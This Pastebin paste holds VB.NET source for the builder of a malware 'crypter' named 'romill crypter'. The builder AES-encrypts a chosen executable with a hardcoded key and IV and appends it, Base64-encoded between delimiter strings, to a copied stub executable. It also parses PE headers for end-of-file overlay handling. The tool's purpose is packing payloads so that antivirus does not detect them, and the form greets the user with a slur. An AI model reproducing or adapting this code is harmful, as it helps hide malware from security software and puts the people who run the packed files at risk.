Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2017
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.67 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.Text
  3. Public Class Form1
  4. Dim drag As Boolean
  5. Dim mousex As Integer
  6. Dim mousey As Integer
  7. Const lolz = "b!?99bO+KI^I8M.23[_lGUTa,6#iRJ$<x:XQL')d;Bh3n[V}xWe(v&adu3q8^t5"
  8. Dim ofd1, ofd2, ofd3 As New OpenFileDialog
  9. Dim sfd1 As New SaveFileDialog
  10. Dim cb1, cb2 As Boolean
  11. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)
  12.  
  13. Public Shared Function Encrypt(ByVal plain As String, ByVal key As String) As String
  14. Return Convert.ToBase64String(Encrypt(UnicodeEncoding.UTF8.GetBytes(plain), UnicodeEncoding.UTF8.GetBytes(key)))
  15. End Function
  16. Public Shared Function Decrypt(ByVal plain As String, ByVal key As String) As String
  17. Return UnicodeEncoding.UTF8.GetString(Decrypt(Convert.FromBase64String(plain), UnicodeEncoding.UTF8.GetBytes(key)))
  18. End Function
  19. Public Shared Function Encrypt(ByVal plain As Byte(), ByVal key As Byte()) As Byte()
  20. Dim wholeState As Byte() = DirectCast(plain.Clone(), Byte())
  21. For round As Integer = 0 To 4
  22. For i As Integer = 0 To wholeState.Length - 1
  23. wholeState(i) = CByte(wholeState(i) Xor key(i Mod (key.Length)))
  24. For k As Integer = 0 To key.Length - 1
  25. wholeState(i) = CByte(wholeState(i) Xor ((((key(k) << round) Xor k) + i)) And 255)
  26. Next
  27. Next
  28. Next
  29. Return wholeState
  30. End Function
  31. Public Shared Function Decrypt(ByVal plain As Byte(), ByVal key As Byte()) As Byte()
  32. Dim wholeState As Byte() = DirectCast(plain.Clone(), Byte())
  33. For round As Integer = 4 To 0 Step -1
  34. For i As Integer = 0 To wholeState.Length - 1
  35. For k As Integer = 0 To key.Length - 1
  36. wholeState(i) = CByte(wholeState(i) Xor ((((key(k) << round) Xor k) + i)) And 255)
  37. Next
  38. wholeState(i) = CByte(wholeState(i) Xor key(i Mod (key.Length)))
  39. Next
  40. Next
  41. Return wholeState
  42. End Function
  43.  
  44.  
  45. Function Secure(ByVal data As Byte()) As Byte()
  46. Using SA As New System.Security.Cryptography.RijndaelManaged
  47. SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
  48. SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
  49. Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
  50. End Using
  51. End Function
  52. Function Unsecure(ByVal data As Byte()) As Byte()
  53. Using SA As New System.Security.Cryptography.RijndaelManaged
  54. SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
  55. SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
  56. Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
  57. End Using
  58. End Function
  59. Function GetEOF(ByVal Path As String) As Long
  60. Dim ByteArray() As Byte
  61. Dim PE As Long, NumberOfSections As Integer
  62. Dim BeginLastSection As Long
  63. Dim RawSize As Long, RawOffset As Long
  64. FileOpen(10, Path, OpenMode.Binary, OpenAccess.Default)
  65. ReDim ByteArray(LOF(10) - 1)
  66. FileGet(10, ByteArray)
  67. FileClose(10)
  68. Call CopyMemory(PE, ByteArray(&H3C), 4)
  69. Call CopyMemory(NumberOfSections, ByteArray(PE + &H6), 2)
  70. BeginLastSection = PE + &HF8 + ((NumberOfSections - 1) * &H28)
  71. Call CopyMemory(RawSize, ByteArray(BeginLastSection + 16), 4)
  72. Call CopyMemory(RawOffset, ByteArray(BeginLastSection + 20), 4)
  73. GetEOF = RawSize + RawOffset
  74. End Function
  75. Private Sub LabelX2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LabelX2.Click
  76. Me.WindowState = FormWindowState.Minimized
  77. End Sub
  78.  
  79. Private Sub LabelX1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LabelX1.Click
  80. Application.Exit()
  81. End Sub
  82. Private Sub Form1_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseDown
  83.  
  84. drag = True 'Sets the variable drag to true.
  85.  
  86. mousex = Windows.Forms.Cursor.Position.X - Me.Left 'Sets variable mousex
  87.  
  88. mousey = Windows.Forms.Cursor.Position.Y - Me.Top 'Sets variable mousey
  89. End Sub
  90. Private Sub Form1_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseMove
  91.  
  92. If drag Then
  93.  
  94. Me.Top = Windows.Forms.Cursor.Position.Y - mousey
  95.  
  96. Me.Left = Windows.Forms.Cursor.Position.X - mousex
  97.  
  98. End If
  99. End Sub
  100.  
  101. Private Sub Form1_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseUp
  102. drag = False
  103. End Sub
  104.  
  105. Private Sub ReflectionImage1_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs)
  106. drag = True 'Sets the variable drag to true.
  107.  
  108. mousex = Windows.Forms.Cursor.Position.X - Me.Left 'Sets variable mousex
  109.  
  110. mousey = Windows.Forms.Cursor.Position.Y - Me.Top 'Sets variable mousey
  111. End Sub
  112.  
  113. Private Sub ReflectionImage1_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs)
  114. If drag Then
  115.  
  116. Me.Top = Windows.Forms.Cursor.Position.Y - mousey
  117.  
  118. Me.Left = Windows.Forms.Cursor.Position.X - mousex
  119. End If
  120.  
  121. End Sub
  122. Private Sub ReflectionImage1_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs)
  123. drag = False
  124. End Sub
  125.  
  126. Private Sub ButtonX3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonX3.Click
  127. sfd1.DefaultExt = "exe"
  128. sfd1.Filter = "Executable File (*.exe)|*.exe"
  129. If sfd1.ShowDialog = Windows.Forms.DialogResult.OK Then
  130. End If
  131. Dim file1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBoxX1.Text))
  132.  
  133. If CheckBoxX4.Checked = True Then
  134. cb1 = True
  135. Else : cb1 = False
  136. End If
  137.  
  138. If File.Exists(sfd1.FileName) Then
  139. My.Computer.FileSystem.DeleteFile(sfd1.FileName)
  140. End If
  141.  
  142. IO.File.Copy(TextBoxX2.Text, sfd1.FileName)
  143. IO.File.AppendAllText(sfd1.FileName, lolz & Convert.ToBase64String(file1) & lolz & cb1 & lolz)
  144.  
  145. If CheckBoxX1.Checked = True Then
  146. GetEOF(sfd1.FileName)
  147. Else
  148. End If
  149. MsgBox("File successfully Crypted", MsgBoxStyle.Information)
  150. End Sub
  151. Public Function Key() As Object
  152. Const fuck1 As String = "abcdefghijklmnopqrstuvwxyz"
  153. Const fuck2 As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  154. Const romill As String = "1234567890"
  155. Dim totalequivalent As String
  156. Dim i As Short
  157. totalequivalent = fuck1 & fuck2 & romill
  158. For i = 1 To CInt("25")
  159. Key = Key & Mid(totalequivalent, Int((Rnd() * Len(totalequivalent)) + 1), 1)
  160. Next i
  161. End Function
  162. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  163. CreateObject("SAPI.SpVoice").Speak("Welcome to romill crypter you bitch")
  164. TextBoxX3.Text = Key()
  165. End Sub
  166.  
  167. Private Sub ButtonX2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonX2.Click
  168. Dim s As New OpenFileDialog
  169. s.ShowDialog()
  170. TextBoxX2.Text = s.FileName
  171. End Sub
  172.  
  173. Private Sub ButtonX1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonX1.Click
  174. Dim s As New OpenFileDialog
  175. s.ShowDialog()
  176. TextBoxX1.Text = s.FileName
  177. End Sub
  178. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement